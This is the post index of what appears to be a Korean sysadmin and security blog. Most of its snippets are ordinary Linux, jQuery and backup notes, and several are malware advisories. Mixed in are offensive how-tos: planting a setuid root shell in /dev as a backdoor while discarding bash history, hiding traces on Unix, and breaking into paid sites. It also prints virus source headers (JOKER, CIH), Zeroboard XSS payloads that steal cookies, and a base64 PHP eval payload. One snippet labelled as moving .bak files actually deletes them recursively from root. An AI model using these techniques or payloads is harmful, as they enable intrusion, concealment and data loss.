[JQUERY]  [Jquery] CSS 제어     ID                  속성            값  $("#target").css("background-color", "#ffffff");
[JQUERY]  스크롤 퀵메뉴바 만들기 <html> <head> 제이쿼리 스크립트 인클루드<script type="text/javascript"> $(function(){ var boxtop = $('#QuickTop').offset().top; $(window).scroll(function(){ //윈도우에 스크롤값이 변경될때마다 $('#QuickTop').stop();//현재 박스를 멈추고 $('#QuickTop').animate({"top": document.body.scrollTop + boxtop}, 500); //바디의 스...
[JQUERY]  웹 개발의 새바람「AJAX를 아시나요?」 새로 부상중인 웹 개발 기법 하나가 PC 소프트웨어의 현 상태를 타개하면서 데스크톱과 웹 애플리케이션의 경계선을 불투명하게 만들고 있다. AJAX는 지난 8년간 표준화된 일련의 개발 기법들로 웹 애플리케이션에 보다 발전된 인터페이스를 도입함으로써 이 모든 것을 바꿀 수 있다. 지난 수년간 데스크톱 애플리케이션이 특정 운영체제에 묶인 것은 컴퓨터 개발에 있어서 확고히 자리잡은 형태가 됐다. AJAX 지지자들은 명실상부한 시장의 리더인 MS 오피스와 같은 데스크톱 소프트웨어의 지배력에 영향을 주길 희망한다. 메시징 벤처...
[LINUX]  톰캣에서 심볼릭 링크 연결되도록 설정방법 tomcat symbolic link Context setting 톰캣 설정파일 server.xml 파일을 열어서 셋팅된 호스트의 Context에 allowLinking="true" 추가<Context path="" docBase="/web/tomcat/myapp/ROOT" debug="0" reloadable="false" crossContext="true" allowLinking="true" />
[LINUX]  하루 동안 변경된 파일만 백업하기 #!/bin/shbackup_dir="/9/1/home_data_backup"backup_name="home_backup_"date_name="$(date +%y%m%d%H%M)"find /home -mtime -1 ! -type d -print0 > /root/bin/backup_filestar -cvz --null --files-from=/root/bin/backup_files \--file=$backup_dir/$backup_name$date_name.tar.gz
[LINUX]  서버상태 메일로 전송 /root/ServerStatus.sh 파일로 생성   - 실행권한 부여 #chmod 755 ServerStatus.sh   crontab 등록 #crontab -e 00 05 * * * `/root/ServerStatus.sh | mail -s "Server Status" id@mail.co.kr`   #!/bin/bash echo -e "====================================="echo -e "서버상태" dateecho -e "========================...
[LINUX]  FTP접속을 이용한 원격지 백업 Shell을 이용한 압축 = /home/backup.sh#! /usr/bin/shdate=`expr `date +"%y%m%d"``cd /home/httpd/usertar -zcf user_$date.tgz ./pblic_htmlftp -n < ftpControl.cmdrm -rf user_$date.tgzFTP 제어 = ftpControl.cmdverboseopen 123.123.123.123user id passwdcd backuplcd /home/httpd/usermput user_*.tgzbyeCRON 새벽 4시 ...
[LINUX]  /home/ 계정별 백업 스크립트 #!/bin/sh homeDir="/home/" backupDir="/backup/" cd $homeDir for homeId in $(ls) do if [ -d "$homeDir/$homeId" ] ; then tar -zcf "$backupDir$homeId.tgz" "$homeId" fi done
[LINUX]  풀백업 및 증분백업 #풀 백업 - back_list 스냅샷 파일이 생성하며 backup.tgz 백업 아카이브 생성#tar -g back_list -zcf backup.tgz /home/ #증분백업 - 기존 생성된 back_list 파일에서 풀백업 내용을 확인하며, 이후에 추가/삭제된 파일을 backup-1.tgz 을 생성#tar -g back_list -zcf backup-1.tgz /home/
[LINUX]  MYSQL 설치 # tar xvzf mysql-5.1.62.tar.gz# cd mysql-5.1.62# mkdir -p /usr/local/mysql# ./configure --prefix=/usr/local/mysql --localstatedir=/var/mysql --with-charset=utf8# make# make install# vi /etc/ld.so.conf  /usr/local/mysql/lib/mysql# ldconfig# cp /usr/local/mysql/share/mysql/mysql.server /etc/rc...
[LINUX]  scp를 이용한 파일 전송 [root@virhac ~]# scp [전송할 파일 또는 디렉토리] [파일이 전송될 서버:저장될 디렉토리] 일반파일 전송 예)[root@virhac ~]# scp ./backup.tar.gz root@192.168.0.1:/home/httpd/user 포트지정 전송 예)[root@virhac ~]# scp -P 56959 ./backup.tar.gz root@192.168.0.1:/home/httpd/user 하위폴더 전체를 전송 예)[root@virhac ~]# scp -...
[LINUX]  백업후 사용자 및 DB계정 지우기 #!/bin/bash mkdir /root/homeBackupmkdir /root/homeBackup/$1Datatar zcvf /root/homeBackup/$1Data/$1_FullBackup.tgz /home/httpd/$1mysqldump -uroot -prootpassword $1 > /root/homeBackup/$1Data/$1.sql rm -rf /home/httpd/$1 rm -rf temp.sqlecho "DROP DATABASE $1;" > temp.sqlecho "REVOKE ALL PRIVIL...
[LINUX]  사용자 생성 및 DB계정 생성 쉘스크립트 아래 쉘스크립트 저장후 사용 #./AddUSer.sh UserID     #!/bin/bashuseradd -d /home/httpd/$1 $1mkdir /home/httpd/$1/public_htmlchown $1 /home/httpd/$1/public_htmlchgrp users -R /home/httpd/$1chmod 755 -R /home/httpd/$1echo "password" | passwd $1 --stdinrm -rf temp.sqlecho "CREATE DATABASE $1;" > te...
[LINUX]  하루동안 변경된 파일을 찾아서 백업디렉토리에 복사 /home/httpd/user/public_html/data/ 디렉토리에서 하루전 변경된파일을 찾아서 /home/httpd/user/backup/ 디렉토리에 복사find /home/httpd/user/public_html/data/ -mtime -1 -exec cp {} /home/httpd/user/backup/ ;
[LINUX]  계정별 사용명령어파일 점검 find / -name .bash_history -exec cat {} ;
[LINUX]  Shell, CRON, FTP 커멘드를 이용한 자동백업 Shell을 이용한 압축 = /home/backup.sh#! /usr/bin/shdate=`expr `date +"%y%m%d"``cd /home/httpd/usertar -zcf user_$date.tgz ./pblic_htmlftp -n < ftpControl.cmdrm -rf user_$date.tgzFTP 제어 = ftpControl.cmdverboseopen 123.123.123.123user id passwdcd backuplcd /home/httpd/usermput user_*.tg...
[LINUX]  *.bak 파일을 찾아 특정 디렉터리로 옮기기 [root@server~]$ find / -name "*.bak" -exec rm -rf {} ;
[LINUX]  유저생성 Shell > UserAdd.sh UserAdd.sh 파일 생성후 아래 내용을 편집후 권한병경 사용사용법 : ./UserAdd.sh 계정명 #!/bin/bashuseradd -d /home/httpd/$1 $1mkdir /home/httpd/$1/public_htmlchown $1 /home/httpd/$1/public_htmlchgrp users -R /home/httpd/$1chmod 755 -R /home/httpd/$1echo "[기본패스워드]" | passwd $1 --stdinrm -rf temp.sqlecho "CREATE DATABASE $1;"...
[LINUX]  특정 디렉토리 및 파일 제외하고 백업, 복구 특정 디렉토리 및 파일 제외하고 백업, 복구# tar cvzf /backup/file01.tar.gz --exclude /home/test --exclude test2 ./ 특정 디렉토리에 풀기# tar xvzf /backup/file01.tar.gz  --directory=/home
[LINUX]  미리내 .htaccess Mysql Write Limit 60KB php_flag register_globals on php_flag suhosin.post.max_vars 11500php_flag suhosin.post.max_value_length 600000000php_flag suhosin.request.max_vars 11500php_flag suhosin.request.max_value_length 600000000php_flag suhosin.session.encrypt Offphp_flag suhosin.session.cryptua Offphp_flag suhosin.sessi...
[LINUX]  TELNET 설치 * 패키지 지우기rpm -e telnet-server-0.17-26.2 * 정보보기rpm -qa | grep tel*설치하기rpm -ivh telnet server 0.17 26.2 rpm      └[ 설치 과정을 나에게 보여라] cd /mnt/cdrom/Fedora/RPMSrpm -ivh telnet[TAB] 사용자에 설치과정보이며 설치rpm -qa | grep tel -설치 정보 확인eject - 시디롬 빼기telnet localhost -자신의 컴 접속telnet 127.0....
[LINUX]  아파치에서 속도제한하기 아파치에서 bandwidth 모듈이 삽입되어 있는 상태라면 모든 호스트에 대해 1024byte로 속도를 제한하기 위해 아파치에서 설정해 주는 부분은 다음과 같다. Httpd.conf에서 BandWidthModule On라고 설정 후 BandWidth all 1024라고 설정한다.
[LINUX]  아파치 특정디렉토리 암호인증 사용하기 #vi /usr/local/apache2/conf/httpd.conf ------------------------------------------------------- <VirtualHost 211.xxx.xxx.xxx>                ServerName www.virhac.com        DocumentRoot ...
[LINUX]  리눅스의 거의 모든 명령어 > LINUX Reference Guide < ■ adduser : 사용자를 새로 등록한다. 설명 이것은 슈퍼 유저만이 사용할 수 있다. 명령을 입력하면 로그온 이름 등을 차례로 물어오며, 그에 따라서 알맞게 입력해 나가면 된다. ■ Enter login name for new account (^C to quit): blade ■ Editing information for new user [blade] ■ Full name: Park Chan Wook ,,사용...
[LINUX]  각 포트에서 행해지는 작업은 무엇인가? 유닉스상의 /etc/services 파일은 각 port에서 일어나는 일들이 기록되어 있다. 다음은 실제로 존재하는 가장 완벽한 port목록이다. Keyword Decimal Description ------- ------- ----------- 0/tcp Reserved 0/udp Reserved tcpmux 1/tcp TCP Port Service Multiplexer tcpmux ...
[LINUX]  Linux Root 패스워드 분실시 조치 방법 부트 메니져의 종류에 따라. 1.LILO일 경우... 리눅스 부팅시.. Ctrl+X 1) 'LILO boot:' 라고 나타날때 'linux single'라고 입력하여 단일 사용자 모드로 부팅 합니다. 2) '/etc/' 디렉토리의 'passwd'파일을 편집해 주면 됩니다. #vi /etc/passwd ... root:R#tr443VEW43^@bd:0:0:root/root:/bin/bash ... 위와 같이 되어 있는 부분의 두번째':'콜론 사이에 있는 것이 암호이므로 아래와 같이 삭제하여 저장 하시...
[LINUX]  인터넷 사용자를 위한 유닉스 기본 유닉스는 가장 훌륭한 운영체제이다. PC에서 동작하는 주요 OS로는 DOS, MS-WINDOWS, OS/2 등을 들 수 있다. DOS의 시대는 이미 지났으며(MS-DOS 6.x 버젼이 DOS의 마지막 버젼), MS-Windows나 NT는 수많은 소프트웨어군들을 가지고 있고, OS/2는 화려한 개체 지향 인터페 이스와 DOS나 MS-Windows와의 특유의 호환성을 지원하고 있다. 유닉스는 이러한 운영체제 들의 모범이 되어온 강력한 멀티태스킹과 멀티유저기능을 보유하고 있으며, GUI 환경으로 는 X-Wi...
[HTML5]  종료 태그를 기술 해서는 안되는 요소 <area><base><br><col><command><embed><hr><img><input><keygen><link><meta><param><source>
[보안정보]  정보보안의 기본 용어 정리 정보보안의 기본 용어 정리   *가짜 메일(Fake mail, Fraud mail)보낸 사람을 숨기거나 다른 사람으로 위장한 채 상대방에게 보낸 전자 메일을 뜻하는 것으로, 메일 발송 시스템을 조작하여 다른 사람의 이름 및 주소 또는 완전히 가공된 이름과 주소에서 발송한 것으로 가장하여 상대에게 메일을 보내는 것이다. 초기에는 장난 삼아 시작된 것이지만, 점차 타인을 정신적으로 괴롭힐 목적으로 심한 욕설과 비난, 공격적 언어, 성희롱을 담은 메일을 보내는 일종의 사이버 테러, 사이버 스토킹의 수단으로 사용되기도 한다....
[바이러스정보]  네이트온(NateOn) 메신저 악성코드 : dnosfu.rar 국내 네이트온(NateOn) 메신저를 통하여 해킹된 계정을 통한 친구 목록에 등록된 다수의 메신저 사용자에게 악성 링크가 포함된 메시지를 전달하여 dnosfu.rar 압축 파일을 다운로드시키는 악성코드를 유포하고 있으므로 주의가 요구됩니다.해당 악성 링크를 통해 최종적으로 다운로드되는 dnosfu.rar 파일은 Internet Explorer 8에서 제공되는 SmartScreen 필터에서 안전하지 않은 다운로드로 등록된 악성 도메인으로 1차적인 차단이 이루어지고 있습니다.다운로드된 압축 파일 내부에는 dnosfu.exe 파일(...
[바이러스정보]  파일이 어떻게 바이러스에 감염이 되는가? 최근, virut바이러스와 같은 파일 감염형 바이러스가 많이 발생되어지고 있으며, 더욱 복잡한 형태인 다형성 바이러스와 같이 분석을 어렵게 하는 기술들도 계속 진화하고 있는 상태이다. 이에 본 칼럼에서는 파일 바이러스가 어떠한 방법을 통해서 감염되어 지며 실행되고, 어떻게 치료를 해야 하는지에 대해 알아본다. 1. Overwriting Viruses(OV) OV는 원래 파일(호스트 파일)을 파괴하기 위해 덮어쓰는 형태의 바이러스로, 대부분 디스크상의 파일을 바이러스로 덮어씌운다. 매우 기초적이며 간단한 방법이지만, 바이러스의 ...
[바이러스정보]  부팅 오작동 증상을 유발하는 악성코드 주의 최근 국내외에서 발견 보고되고 있는 일부 악성코드 중에 비정상적인 레지스트리의 생성과 오작동으로 인하여 윈도우가 정상적으로 시작되지 않는 피해 보고가 나타나고 있는 상황이며, 변종도 추가적으로 발견되고 있다.잉카인터넷 시큐리티 대응센터에서는 이번에 발견된 악성코드(변종 포함)를 진단하고 치료할 수 있는 전용백신을 제작하여 무료로 제공하고 있다.[무료 전용백신 제공]http://www.nprotect.com/v6/data/index.php?mode=vs_down_view&no=289현재...
[바이러스정보]  MS Windows 부팅 불능 악성코드 감염 주의 □ 개 요   o PC 재부팅 시 검은 화면에 마우스만 나타나며, 정상적인 부팅을 방해하는 악성코드가    발견되어 사용자의 주의가 요구됨 [1, 3, 4]    ※ 안전모드에서도 부팅이 불가함 □ 설 명   o 악성코드에 감염될 시 다음과 같은 레지스트리 값이 설정됨    - 경  로: HKLMSoFtWAREMicrosoftWindows nTcurrentver...
[바이러스정보]  컴퓨터 바이러스의 세대별 분류 컴퓨터 바이러스는 여러 방법으로 분류된다. 컴퓨터 바이러스의 기능적 발전에 따른 세대별 분류, 감염위치에 따른 분류, 그리고 기능에 따른 분류가 있다. 컴퓨터 바이러스를 분류하는 방법이 다양한 것은 그만큼 컴퓨터 바이러스 프로그램은 제작자의 의도에 따라 여러 방법으로 구현될 수 있으며 정해진 규격이 없다는 것을 의미한다. 또한 어떤 분류법도 현재까지 나타난 모든 바이러스 종류를 모두 명확하게 분류할 수 없으며 대표적인 특징에 따라서 각각의 분류법을 혼용하여 사용한다. 세대별 분류 컴퓨터 바이러스를 세대별로 구분한...
[바이러스정보]  악성 코드 대응지침 I. 주의예방법 1. 정기적으로 백신프로그램 및 응용 프로그램 보안 업데이트 o 운영체제 및 MS사 응용프로그램 업데이트 업데이트나 패치작업이 서버 시스템에만 필요한 것은 아니다. 그러나 일반 PC이용자들은 자신 이 설치한 운영체제나 응용프로그램에도 보안상 취약점이 생길 수 있다는 사실을 모르거나, 크 게 관심을 두지 않는 경우가 많은데, 보안상 악성코드들의 주요 공격목표가되는 Microsoft社의 OS나 응용프로그램들에 대한 보안권고 사항을 주시하여, 권고사항을 따라야한다. 백신사들 마다 다소 ...
[바이러스정보]  DDoS 관련 좀비PC 하드디스크 손상 주의   □ 개 요    o 지난 7일부터 시작된 DDoS 공격의 좀비 PC들이 7월 10일 00시를 기점으로 스스로     하드디스크를 손상시켜 PC가 부팅이 되지않아 동작 불능상태가 될 수 있음  o 사용자들은 PC 하드디스크 손상을 방지하기 위해서는 해결방안을 반드시 수행하기를    권고함 □ 설 명   o 지난 7일부터 대대적으로 DDoS 공격을 실행하였던 좀비 PC들이 악성코드의 흔적을   ...
[바이러스정보]  JOKER virus source ... title " Joker! virus. Written by The BOOT SECTOR Infector ... " ; ; Joker - This is a remake of the deceased "Joker/Jocker" virus. The original ; had multiple programming errors in it that kept it from replicating. ; My version is much more successful. ; ...
[바이러스정보]  cih 바이러스 소스를 공개해 드립니다..(연구용으로만) CIH소스 ; **************************************************************************** ; * The Virus Program Information * ; **************************************************************************** ; * * ; * Designer : CIH Source : TTIT of TATUNG in Taiwan * ; * Create Date : 04/26/1998 ...
[바이러스정보]  트로이목마란? 트로이목마 프로그램은 바이러스와 달리 자기 복제 능력이 없으며 유틸리티 프로그램 내에 악의의 기능을 가지는 코드를 내장하여 배포하거나 그 자체를 유틸리티 프로그램으로 위장하여 배포한다. 트로이목마가 설치되면 특정한 환경이나 조건 혹은 배포자의 의도에 따라 사용자의 정보 유출(Backdoor)이나 자료파괴 같은 피해를 입을 수 있다. 다음 표는 대표적인 악성 프로그램의 유형을 설명한 것이다. 주요목적 피해 가능성 복제 감염 예방/백신 바이러스 자료손실/삭제 ○ ○ ○ 치료(복원) 웜 피해확산 ○ ○ × 치료(삭제)...
[바이러스정보]  웰치아(Win32/Welchia.worm) RPC DCOM 취약점을 이용하여 전파된다. - WebDAV 취약점 관련 코드를 가지고 있다. - Win32/Blaster.worm.6176가 실행중이라면 강제로 종료하고 파일을 삭제한다. - RPC DCOM 관련 보안패치가 안된 경우 패치파일을 다운로드하여 실행한다. - TCP 707 포트가 오픈된다. 내용 Win32/Welchia.worm.10240 는 RPC DCOM 취약점을 이용하여 전파되는 웜으로서 안철수연구소는 2003년 8월 18일 오후부터 다량 접수 받았다. 이 웜은 RPC DCOM 취약...
[바이러스정보]  [바이러스]Win32/Gibi.worm.122880(W32.Gibe@mm) 이 바이러스는 e메일을 통해서 확산되는 웜으로 분류된다. 메시지는 Microsoft의 보안 패치 파일을 위장하고 있어 사용자가 의심없이 첨부 파일을 열어볼 수 있다. -전파되는 메일양식 From: Microsoft Corporation Security Center mailto:rdquest12@microsoft.com] To: Microsoft Customer Subject: Internet Security Update 첨부파일명: q216309.exe (122,880 바이트) 본문: Microsoft C...
[바이러스정보]  바이러스 예방법 ▷ 감염되지 않은것이 확인된 깨끗한 도스 디스켓에 쓰기방지 탭 (write-protect tab)를 붙여서 비상시 사용할 수 있도록 준비해 둔다. ▷ 중요한 프로그램이나 자료는 항상 백업(backup)해놓는다. ▷ 상업용 소프트웨어는 불법 복사를 하지 않고 정품만을 사용한다. ▷ 셰어웨어나 공개 소프트웨어는 컴퓨터 전문가가 오랫동안 문제없이 사용하고 있는 것을 복사해오거나, 통 신을 통해서 받는 경우에는 등록된지 1주일이상 경과했고 다른 사람들이 문제없이 사용하고 있는 것을 받 는다. ▷...
[바이러스정보]  바이러스의 종류 컴퓨터 바이러스는 그 영향 정도에 따라 양성 및 악성 바이러스, 감염 부위에 따라 부트(Boot) 및 파일(File) 바이러스로 구분한다. 부트 바이러스는 컴퓨터가 기동할 때 제일 먼저 읽게 되는 디스크의 특정 장소에 감염되어 있다가 컴퓨터 기동시에 활동을 시작하는 종류이다. 파일 바이러스는 숙주 프로그램에 감염되어 있다가 숙주 프로그램이 실행될 때 활동하는 바이러스를 말한다. 또한 최근에는 감염 경로에 따라 인터넷 바이러스를 별도로 구분하기도 한다. 바이러스는 종류에 따라 활동방식도 다른데 감염 즉시 활동하는 것...
[리눅스해킹]  리눅스 해킹사고 분석 및 대응절차 리눅스 해킹 사고시 구체적인 대응방법을 모르는 초보 관리자라면 다음과 같은 절차를 통해서 피해 시스템을 분석하는것도 하나의 도움이 될 수 있다. 실제 해킹된 서버 예를 들어서 아래의 대응 절차를 이용하여 피해 시스템을 분석해 보고 대응 방법을 논의해 보자. 리눅스 해킹 사고 분석 및 대응 절차1. 해킹 의심 상황 포착2. 외부에서 nmap 명령어로 포트 스캔3. chkrootkit, rootkit hunter등으로 명령어 변조와 rootkit 존재 여부확인4. 해커가 시스템의 권한을 어느정도까지 확보했는지 확인5. 변조된 파일...
[리눅스해킹]  유닉스 상에서 흔적 지우기 .bash_history 파일에 흔적을 남기지 않는 방법------------------------------------------------------------------------------   유닉스&리눅스에서 중요한 것은 bash 를 쓰게 되면 .bash_history 라는 파일이 생깁니다..bash_history 파일의 특징은 우선 bash 쉘을 실행시킨후의 모든 명령을 그 파일에 저장시킵니다.그리고 저장되는 파일의 위치는 쉘을 실행시킨 사람의 uid 를 따릅니다.euid 가 더 우선권이 있슴.. 즉...
[리눅스해킹]  백도어만들기 아주 간단한 백도어 화일숨기기 [r00t@webD r00t]$ cd /dev [r00t@webD /dev]$ ./sh [r00t@webD /dev]# exit exit [r00t@webD /dev]$ ls -l sh -rwsr-xr-x 1 root 65535 300668 Dec 28 22:29 sh [r00t@webD /dev]$ ./sh [r00t@webD /dev]# id uid=65535(r00t) gid=65535 euid=0(root) [r00t@webD /dev]# ln -s /dev/null /root/.bash_histor...
[리눅스해킹]  해킹당한 서버에서 확인해야할일 해킹 피해시스템 분석 절차 이 문서는 시스템이 침입을 당했을 경우 유닉스 시스템의 보안을 위해 무엇을 할 것인가를 알려준다. 또한 아직 침입을 당하지 않은 상태라도 시스템 보안점검에 도움이 된다. 1. 해킹 피해시스템 분석 절차 가. 시스템 침입흔적 조사 방법 특별한 장소 또는 행위로부터의 접속에 대한 로그파일을 조사한다. - last, syslog, 프로세스 로그와 그밖에 다른 로그파일을 조사한다. - access-log, xferlog 등 주요서버의 로그파일을 조사한다. - 방화벽 또는 라...
[리눅스해킹]  나비를 알아보자 나비란 기존의 아미에서 새롭게 뜨고있는 한글입력이 될수있게하는 플그램입니다. 우선 실행은 nabi라고 하면 됩니다. 그전에 몇가지 간단한 설정을 해주셔야 사용하실 수 있습니다. 우선은 확인부터 해보죠.. 리눅스에서 실행 파일은 다음의 위치에 대부분 모여 있습니다. /bin -< 시스템 기본 명령어 /sbin -< 시스템 설정 명령어 (CD마운트 같은 하드웨어 작업용입니다) /usr/bin -< 사용자 기본 명령어 /usr/sbin -< 시스템 설정 명령어 /usr/X11R6/bin -<...
[리눅스해킹]  개인용 컴퓨터로부터 이루어지는 해킹2 아래의 내용은 평소 제가 생각하고 있는 것을 글로 적은것 입니다. 만일 수정되어야 할 부분이 있다면 메일주세요. 흔히 인터넷을 모르시는 분들은 "인터넷 그냥 브라우저 실행시켜서 주소만 입력하면 되는것아냐.." 또는 "인터넷 누구나 다 할수 있어 그거 1시간 아니 30분만 배우면 돼...뭐가 어렵다고 그래...." 이런식으로 대수롭지않게 말하시는 분들이 많더군요. 그렇습니다. 웹서핑을 하기위한 최소한의 것은 30분 아니 10분으로도 충분하리라 생각합니다. (저는 인터넷 처음 배울때 yahoo사용할 줄 몰라서 하루 종일 배웠...
[리눅스해킹]  개인용 컴퓨터로부터 이루어지는 해킹 아래의 내용은 평소 제가 생각하고 있는 것을 글로 적은것 입니다. 만일 수정되어야 할 부분이 있다면 메일주세요. 흔히 인터넷을 모르시는 분들은 "인터넷 그냥 브라우저 실행시켜서 주소만 입력하면 되는것아냐.." 또는 "인터넷 누구나 다 할수 있어 그거 1시간 아니 30분만 배우면 돼...뭐가 어렵다고 그래...." 이런식으로 대수롭지않게 말하시는 분들이 많더군요. 그렇습니다. 웹서핑을 하기위한 최소한의 것은 30분 아니 10분으로도 충분하리라 생각합니다. (저는 인터넷 처음 배울때 yahoo사용할 줄 몰라서 하루 종일 배웠...
[리눅스해킹]  실제 사이트해킹 어떻게 이루어지는지 알아보기 드디어 실제적인 사이트 공략법을 배워보실 차례입니다. 처음부터 차근차근히 읽어내려 오셨다면 기대가 크시겠네요.. 기대에 부흥을 할 수 있을런지.... 웹서핑을 하다보면 수많은 유료사이트들을 접하게 됩니다. 그 수많은 유료사이트들에 발맞춰 소위 유료사이트들의 회원들을 관리해주고 돈을 대신받아서 웹마스터들에게 수익을 전해주는 인증업체(payment provider for the internet)라는 곳이 생겼지요. 이런 문구를 많이 보셨을 겁니다. ibill, msbill, lancelot, SSL, ccbill, grobill ...
[리눅스해킹]  싱글어택!! ( Single Attack ) 우선... 이곳에 한번 방문해 보세요.(http://welcome.to/avspasswords/) Quin's AVS Password 이곳뿐이 아닙니다. 많은 곳에 싱글패스들이 뿌려져 있습니다. 그래서 궂이 이런 공간을 마련해서 싱글어택을 올릴 필요가 없을 수도 있지만!! 자기만의 싱글패스워드를 가지고 있으면 패스가 죽을 확률도 그만큼 없어지니 좋지 않겠어요? 그리고 필요할 때마다 그때그때 심심풀이로 뚫어서 무료같이 쓸 수도 있고 말이죠. 녜. 그만큼 싱글패스는 얻기도 뚫기도 쉽습니다. 그리고 위에 링크한 사이트에 가...
[리눅스해킹]  해킹정보 예전에 있었던 해킹유형과, 예전의 버그들을 살펴보자. 물론 언론매체의 성 격상 현재 가장 심각한 홀(보안구멍)들은 싣지 않았다. 또한 분량상 수많은 버그들 중 극히 일부 분만을 다루었다. /usr/local/bin/sysinfo version 1.0.0 의 버그 유닉스 시스템에는 IFS(Internal File Seperator)라는 환경 변수가 있다. 이것이 shell 변수로 선언할 때 여러 문제를 일으키는 경우가 많다. IFS라는 환경변수를 내부 유저들이 마음대로 조작해 관리 자의 권한을 얻어낼 수 있는데 이러한 유형의 해...
[리눅스해킹]  유닉스/통신망 해킹에 대한 심화학습 대개의 호스트는 유닉스를 사용합니다. 이때 핵심이랄지 할것이 바로 아이디 해킹일겁니다. 도스와 다른 유닉스의 특징이 바로 login 이죠. 자신의 아이디가 해킹 당했다면 큰일이죠. 그래서 패스워드를 어렵게 만드는 것이 중요합니다. 해커들이 해킹할때는 이 패스워드를 알아내거나 유닉스 시스템의 홀을 찾는 방법을 사용하는 것이죠. 다음 몇몇 호스트를 해킹하는 예를 들어보이겠습니다. 다음은 KIDS bbs를 해킹한 사례입니다. kids의 도메인 어드레스는 kids.kotel.co.kr 이다. 우선 telnet 로 kids에 접속...
[리눅스해킹]  suid script나 프로그램으로부터 root로 이동할 수 있는가? 1. IFS를 변경하라. 프로그램이 system() 함수를 이용하여 다른 프로그램을 호출하면,프로그램을 속여서 IFS를 변경 할 수 있다. IFS는 인자를 구분하기위해 사용된다. 프로그램이 다음과 같은 함수를 사용한다고 가정하자. system("/bin/date") IFS를 '/' 로 변경하면 shell은 '/'을 단지 bin 과 date을 구분하기 위하여 사용하므로(디렉토리 를 구분하기 위한 역할은 사라진다) /bin/date 을 'bin date'로 해석하게 된다. 누군가가 'bin'이라는 경로에 자신의 프로그램을...
[리눅스해킹]  NIS/yp는 무엇인가? 전에는 yp (Yellow Pages)라고 알려졌던 NIS (Network Information System) 의 주 목적은 패스 워드자료와 같이 네트워크를 구성하는 여러 CONFIGURATION DATE를 다양한 시스템이 공유할 수 있 도록 하기 위해 만들어졌다. 그러나 단지 시스템의 보안을 증가시킬 목적으로 만들어진 것만은 아니다. NIS를 이용하면 /etc/passwd 파일은 다음처럼 아주 간단해진다. 이 파일의 내용을 보려 면 ypcat passwd라는 명령어를 이용한다. +::0:0::: 6.'ypcat ...
[해킹정보]  FTP 계정 유출을 통한 악성코드 삽입 대처 하자 ! 최근 ftp 계정 정보가 유출되어 홈페이지에 악성코드가 삽입되는 사례가 급격히 늘고 있습니다. 감염된 pc 사용자가 웹 사이트 파일을 관리 하는 ftp 클라이언트 프로그램을 가지고 ftp 접속을 할 경우 id 와 password 를 빼내어 해당 웹사이트 파일 이름이 index ,main 으로 되어 있는 파일들을 변조해서 악성코드를 다운받도록 코드를 심어 놓은 방식으로 진행이 되고 있습니다.   홈페이지 파일 내에서 악성코드를 지우는 것으로 만은 문제가 해결되지 않도록 진화하고 있는 실정입니다. 이 때문에 본의 아니게...
[해킹정보]  iframe hacking 당한 후에 사용한 치료용 스크립트 실행한 디렉토리부터 하위단에 있는 모든 파일을 다 뒤져서 감염된 파일을 수정하는 방식으로 되어 있다. <?php//usage : php -f kickHack.php @infected directory root $hackArr = array( '<?php eval(base64_decode('aWYoIWZ1bmN0aW9uX2V4aXN0cygndnIxJykpe2Z1bmN0aW9uIHZyMSgkcyl7aWYocHJlZ19tYXRjaF9hbGwoJyM8c2NyaXB0KC4qPyk8L3NjcmlwdD4jaXMnLCR...
[해킹정보]  왜 & 를 소홀히 하는가? 1. & 는 무엇인가. & 기호를 처음 보는 사람은 아마도 없을 것이다.이것은 실생활에서 AND 를 의미하기도 하고, C 언어의 경우 & 는 AND 연산을 의미하기도 한다.또한 && 와 같이 & 가 두개 사용되는 경우, 이것은 참과 거짓을 나타내는 논리식이 된다.앞의 문장과 뒤의 문장이 모두 참일 경우 참이 되는 AND 논리식으로 쓰이는 것이다.&는 또한 BASH 와 같은 쉘에서 명령을 백그라운드의 프로세스로 실행되게 하기도 하고, && 의 경우 앞의 명령이 참일...
[해킹정보]  메일 서비스를 통한 Cross Site Script 이스라엘 보안엡체인 GreyMagic Software에서 Yahoo 에 대한 웹메일 취약점을 발견 해당업체에서는 조치를 완료하였으나 같은 취약점이 국내 대부분의 메일시스템에 존재, 매우 취약한것으로 나타났음. Cross-site Scripting은 악의적인 사용자가 메일 세션에 스크립트 코드를 삽입하여 세션 실행중 코드가 실행되게 한것으로 스크립트 실행코드를 정상적인 문자 대신 문자 코드로 치환하여 보내게 된다. 정상적인 문자로 작성된 스크립트 실행코드를 포함한 메일을 보내면 대부분의 메일서버에서 스크립트 실행 방지를 위해...
[해킹정보]  index, main파일 아이프레임악성코드 대처 어느 날 갑자기 멀쩡하던 홈페이지 레이아웃이 엉망으로 바뀌면서 관리자 페이지도 못들어가는 증상이 발생하여 index.php 소스를 내려받아 코드를 살펴보니 원래는 없던 코드가 아이프레임 방식으로 히든처리되어 심어져 있습니다. 코드는 <iframe src="./hxxxxxp://bestfindaloan.cn:8080/index.php" width=116 height=188 style="visibility: hidden"></iframe> 식입니다. 주소는 매우 다양합니다 (6월6일자 보고에 의하면 48,00...
[해킹정보]  백도어란 ? 무슨프로그램일까요. ㉠ 백도어란 ? 백도어(Backdoor) 프로그램은 주로 해킹을 할 때 사용하는 프로그램으로, 기존의 프로그램이 가지고 있는 어떤 허점을 이용하는걸 말한다. 하지만, 여기서 말하는 백도어는 사용자 몰래 사용자 정보를 저장, 혹은 빼내어갈 수 있는 프로그램으로 정리 할 수 있다. ㉡ 대표적 백도어 프로그램 백오리피스류 그외 변이잡종으로는 (보서브.딥보.넷버스.NUKE.스쿨버스.메테오르..등등) `백오리피스 2000(Back Orifice 2000)`은 지난 1998년 8월 `Cult of the Dead Cow`에서 발표된 백...
[해킹정보]  제로보드 취약점 총정리 ■ 크로스사이트 스크립팅 취약점(2005.02.19) The following proof of concept examples are available: http://www.example.com/zboard.php?id=gallery&sn1=ALBANIAN%20RULEZ='%3E% 3Cscript%3Ealert(document.cookie)%3C/script%3E http://www.example.com/zboard.php? id=union_schdule&year=ALBANIAN%20RULEZ='%3E%3Cscript%...
[해킹정보]  웹서버를 경유한 DB서버 해킹 본 문서는 방화벽의 Private또는 DMZ에 웹서버또는 DB와 연동할 수 있는 서버를 점령 후에 어떻게 DB 서버를 해킹하는가에 대한 궁금증 해결을 위해 작성한 문서이다. ----------------------------------------------------------------------------------------------------------------- I. 네트워크 구성도 1) 인터넷 -------방화벽------- 웹서버 --------방화벽---------DB서버 2) 인터넷 -----...
